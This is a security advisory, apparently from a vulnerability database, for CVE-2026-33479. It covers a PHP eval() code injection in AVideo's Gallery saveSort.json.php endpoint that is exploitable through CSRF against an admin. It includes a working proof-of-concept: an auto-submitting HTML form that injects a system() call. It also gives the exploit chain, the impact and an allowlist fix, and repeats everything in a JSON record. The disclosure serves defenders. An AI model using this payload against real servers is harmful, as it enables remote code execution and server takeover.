GHSA-XGGW-G9PM-9QHH

Vulnerability from github – Published: 2026-03-20 20:44 – Updated: 2026-03-25 18:49
VLAI?
Summary
AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin
Details

Summary

The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution — requiring only that an admin visits an attacker-controlled page.

Details

Vulnerable codeplugin/Gallery/view/saveSort.json.php:20-25:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    foreach ($_REQUEST['sections'] as $key => $value) {
        $obj->sectionsSaved[] = array($key=>$value);
        eval("\$object->{$value}Order = \$key;");
    }
    $obj->error = !$gallery->setDataObject($object);
}

The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization — no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.

CSRF enablementobjects/include_config.php:134-137:

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.

No CSRF protection — The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.

Exploit chain: 1. Attacker crafts a page with an auto-submitting form targeting saveSort.json.php 2. Admin visits the attacker's page (e.g., via a link in a comment, email, or message) 3. The browser sends the cross-site POST request with the admin's session cookie attached (due to SameSite=None) 4. User::isAdmin() passes because the admin's session is present 5. The injected PHP code in the sections array value is passed to eval() and executes

PoC

Step 1: Host the following HTML on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
  <input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>

The base64 decodes to id;hostname.

Step 2: Lure an authenticated AVideo admin to visit the page.

Step 3: The eval on line 24 executes:

$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;

This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.

Expected result: The id and hostname commands execute on the server under the web server's user context.

Impact

  • Remote Code Execution — An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
  • Full server compromise — The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
  • Stealth — The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
  • Blast radius — Any AVideo instance running over HTTPS (which triggers SameSite=None) where an admin can be lured to click a link is vulnerable.

Recommended Fix

Primary fix — Replace eval() with an allowlist check:

In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:

if(!empty($_REQUEST['sections'])){
    $object = $gallery->getDataObject();
    $allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest', 
                        'Subscribe', 'Popular', 'LiveStream', 'Category', 
                        'Program', 'Channel'];
    foreach ($_REQUEST['sections'] as $key => $value) {
        if (!in_array($value, $allowedSections, true)) {
            continue;
        }
        $obj->sectionsSaved[] = array($key => $value);
        $property = $value . 'Order';
        $object->$property = intval($key);
    }
    $obj->error = !$gallery->setDataObject($object);
}

This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.

Secondary fix — Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:

ini_set('session.cookie_samesite', 'Lax');

This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:02Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Gallery plugin\u0027s `saveSort.json.php` endpoint passes unsanitized user input from `$_REQUEST[\u0027sections\u0027]` array values directly into PHP\u0027s `eval()` function. While the endpoint is gated behind `User::isAdmin()`, it has no CSRF token validation. Combined with AVideo\u0027s explicit `SameSite=None` session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution \u2014 requiring only that an admin visits an attacker-controlled page.\n\n## Details\n\n**Vulnerable code** \u2014 `plugin/Gallery/view/saveSort.json.php:20-25`:\n\n```php\nif(!empty($_REQUEST[\u0027sections\u0027])){\n    $object = $gallery-\u003egetDataObject();\n    foreach ($_REQUEST[\u0027sections\u0027] as $key =\u003e $value) {\n        $obj-\u003esectionsSaved[] = array($key=\u003e$value);\n        eval(\"\\$object-\u003e{$value}Order = \\$key;\");\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThe `$value` variable from `$_REQUEST[\u0027sections\u0027]` is interpolated directly into the string passed to `eval()` with no sanitization \u2014 no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like `\u0027Shorts\u0027`, `\u0027Trending\u0027`, etc. from jQuery UI sortable, but the server enforces no such constraint.\n\n**CSRF enablement** \u2014 `objects/include_config.php:134-137`:\n\n```php\nif ($isHTTPS) {\n    ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027);\n    ini_set(\u0027session.cookie_secure\u0027, \u00271\u0027);\n}\n```\n\nThe session cookie is explicitly set to `SameSite=None`, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in `objects/functionsPHP.php:330-333` where additional cookies are set with `SameSite=None; Secure`.\n\n**No CSRF protection** \u2014 The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no `X-Requested-With` header check. There is no global CSRF middleware in AVideo\u0027s bootstrap chain.\n\n**Exploit chain:**\n1. Attacker crafts a page with an auto-submitting form targeting `saveSort.json.php`\n2. Admin visits the attacker\u0027s page (e.g., via a link in a comment, email, or message)\n3. The browser sends the cross-site POST request **with the admin\u0027s session cookie** attached (due to `SameSite=None`)\n4. `User::isAdmin()` passes because the admin\u0027s session is present\n5. The injected PHP code in the `sections` array value is passed to `eval()` and executes\n\n## PoC\n\n**Step 1:** Host the following HTML on an attacker-controlled server:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform id=\"exploit\" action=\"https://TARGET/plugin/Gallery/view/saveSort.json.php\" method=\"POST\"\u003e\n  \u003cinput type=\"hidden\" name=\"sections[0]\" value=\"x=1;system(base64_decode(\u0027aWQ7aG9zdG5hbWU=\u0027));//\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027exploit\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe base64 decodes to `id;hostname`.\n\n**Step 2:** Lure an authenticated AVideo admin to visit the page.\n\n**Step 3:** The eval on line 24 executes:\n```php\n$object-\u003ex=1;system(base64_decode(\u0027aWQ7aG9zdG5hbWU=\u0027));//Order = 0;\n```\n\nThis breaks out of the property assignment, calls `system()` with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.\n\n**Expected result:** The `id` and `hostname` commands execute on the server under the web server\u0027s user context.\n\n## Impact\n\n- **Remote Code Execution** \u2014 An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.\n- **Full server compromise** \u2014 The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.\n- **Stealth** \u2014 The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.\n- **Blast radius** \u2014 Any AVideo instance running over HTTPS (which triggers `SameSite=None`) where an admin can be lured to click a link is vulnerable.\n\n## Recommended Fix\n\n**Primary fix \u2014 Replace `eval()` with an allowlist check:**\n\nIn `plugin/Gallery/view/saveSort.json.php`, replace lines 20-26:\n\n```php\nif(!empty($_REQUEST[\u0027sections\u0027])){\n    $object = $gallery-\u003egetDataObject();\n    $allowedSections = [\u0027Shorts\u0027, \u0027Trending\u0027, \u0027SiteSuggestion\u0027, \u0027Newest\u0027, \n                        \u0027Subscribe\u0027, \u0027Popular\u0027, \u0027LiveStream\u0027, \u0027Category\u0027, \n                        \u0027Program\u0027, \u0027Channel\u0027];\n    foreach ($_REQUEST[\u0027sections\u0027] as $key =\u003e $value) {\n        if (!in_array($value, $allowedSections, true)) {\n            continue;\n        }\n        $obj-\u003esectionsSaved[] = array($key =\u003e $value);\n        $property = $value . \u0027Order\u0027;\n        $object-\u003e$property = intval($key);\n    }\n    $obj-\u003eerror = !$gallery-\u003esetDataObject($object);\n}\n```\n\nThis eliminates `eval()` entirely, validates `$value` against a known allowlist of section names, and uses dynamic property access (`$object-\u003e$property`) instead of code generation.\n\n**Secondary fix \u2014 Add CSRF protection** to all state-changing endpoints, or at minimum set `SameSite=Lax` on session cookies instead of `SameSite=None` in `objects/include_config.php:135`:\n\n```php\nini_set(\u0027session.cookie_samesite\u0027, \u0027Lax\u0027);\n```\n\nThis prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.",
  "id": "GHSA-xggw-g9pm-9qhh",
  "modified": "2026-03-25T18:49:29Z",
  "published": "2026-03-20T20:44:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-xggw-g9pm-9qhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/087dab8841f8bdb54be184105ef19b47c5698fcb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has PHP Code Injection via eval() in Gallery saveSort.json.php Exploitable Through CSRF Against Admin"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…